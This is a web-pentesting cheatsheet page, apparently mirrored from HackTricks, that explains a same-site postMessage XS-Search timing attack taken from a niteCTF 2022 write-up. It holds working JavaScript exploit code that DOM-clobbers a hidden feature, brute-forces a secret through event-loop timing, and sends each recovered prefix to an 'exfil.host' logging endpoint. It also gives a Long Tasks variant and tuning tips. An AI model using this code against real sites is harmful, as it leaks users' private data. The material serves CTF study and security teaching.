daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

performance-now-example.md (5346B)


      1 ---
      2 title: "performance.now example"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/performance.now-example.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/performance.now-example.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # performance.now example
     14 
     15 **Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**<sup>[[1]](#references)</sup>
     16 
     17 This is a **same-site `postMessage` XS-Search** oracle: the attacker controls a trusted `.jsapi.tech` subdomain, enables a hidden search gadget via **DOM clobbering**, and then measures how long the target page keeps the observable event loop busy while processing a candidate prefix.<sup>[[1]](#references)</sup>
     18 
     19 ```javascript
     20 const sleep = (ms) => new Promise((res) => setTimeout(res, ms))
     21 
     22 async function check(flag) {
     23   let w = frame.contentWindow
     24   w.postMessage(
     25     { op: "preview", payload: '<img name="enable_experimental_features">' },
     26     "*"
     27   )
     28   await sleep(1)
     29   w.postMessage({ op: "search", payload: flag }, "*")
     30   let t1 = performance.now()
     31   await sleep(1)
     32   return performance.now() - t1 > 200
     33 }
     34 
     35 async function main() {
     36   let alpha =
     37     "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
     38   window.frame = document.createElement("iframe")
     39   frame.width = "100%"
     40   frame.height = "700px"
     41   frame.src = "https://challenge.jsapi.tech/"
     42   document.body.appendChild(frame)
     43   await sleep(1000)
     44 
     45   let flag = "nite{"
     46   while (1) {
     47     for (let c of alpha) {
     48       let result = await Promise.race([
     49         check(flag + c),
     50         new Promise((res) =>
     51           setTimeout(() => {
     52             res(true)
     53           }, 300)
     54         ),
     55       ])
     56       console.log(flag + c, result)
     57       if (result) {
     58         flag += c
     59         break
     60       }
     61     }
     62     new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
     63   }
     64 }
     65 
     66 document.addEventListener("DOMContentLoaded", main)
     67 ```
     68 
     69 ## Why this works
     70 
     71 1. The vulnerable page exposes a `preview` operation that writes sanitized HTML into `innerHTML` **without** changing the real note contents.
     72 2. The payload `<img name="enable_experimental_features">` **DOM-clobbers** `window.enable_experimental_features`, so the hidden `search()` feature stops returning early.
     73 3. A correct guess makes `search()` do much more work than a miss: substring checks, repeated DOM appends with `<mark>`, and extra rendering for the results panel.
     74 4. The attacker posts the `search` request, yields with `await sleep(1)`, and then uses `performance.now()` to see how late the timer resumes. A large delay means the victim branch was expensive.<sup>[[1]](#references)</sup>
     75 
     76 ## Practical notes
     77 
     78 - **Calibrate a threshold first** with several known-hit and known-miss probes, then classify each candidate using the median/average instead of a single run.
     79 - **Reset state between probes** whenever the target accumulates DOM (for example, when highlights are appended but never cleared). Recreating the iframe per guess is slower but usually more stable.
     80 - **Cache-bust repeated requests** if the target or browser can reuse previous results; otherwise the timing gap tends to collapse after the first few probes.
     81 - This exact **busy event-loop** oracle is easiest when attacker and target stay **same-site / same-process enough** to share an observable thread. On modern deployments, off-site iframes or subresource loads often lose victim cookies because of `SameSite=Lax/Strict`, so the cross-site version frequently needs a **same-site foothold** or a **top-level navigation / popup** variant instead.<sup>[[2]](#references)</sup>
     82 - If the signal is too noisy on a remote headless bot, force a **heavier positive branch** or pivot to related primitives such as [performance.now + Force heavy task](/hacktricks/pentesting-web/xs-search/performance-now-force-heavy-task) or [Event Loop Blocking + Lazy images](/hacktricks/pentesting-web/xs-search/event-loop-blocking-lazy-images).
     83 
     84 ## PerformanceLongTaskTiming variant
     85 
     86 The original intended solve used a **long-task** oracle instead of comparing raw deltas. This is useful when the positive branch reliably blocks the UI thread for `50ms+`:<sup>[[1]](#references)</sup>
     87 
     88 ```javascript
     89 const longTasks = []
     90 new PerformanceObserver((list) => longTasks.push(...list.getEntries())).observe({
     91   type: "longtask",
     92   buffered: true,
     93 })
     94 
     95 async function checkLongTask(flag) {
     96   longTasks.length = 0
     97   let w = frame.contentWindow
     98   w.postMessage({ op: "preview", payload: '<img name="enable_experimental_features">' }, "*")
     99   await sleep(1)
    100   w.postMessage({ op: "search", payload: flag }, "*")
    101   await sleep(75)
    102   return longTasks.some((e) => e.duration >= 50)
    103 }
    104 ```
    105 
    106 This is cleaner than hand-picked thresholds, but the Long Tasks API reports tasks whose duration exceeds 50 ms, so a false negative does **not** prove the guess was wrong.<sup>[[3]](#references)</sup>
    107 
    108 ## References
    109 
    110 - [1] [niteCTF 2022 - js-api writeup](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)
    111 - [2] [From XS-Leaks to SS-Leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
    112 - [3] [W3C — Long Tasks API](https://www.w3.org/TR/longtasks-1/)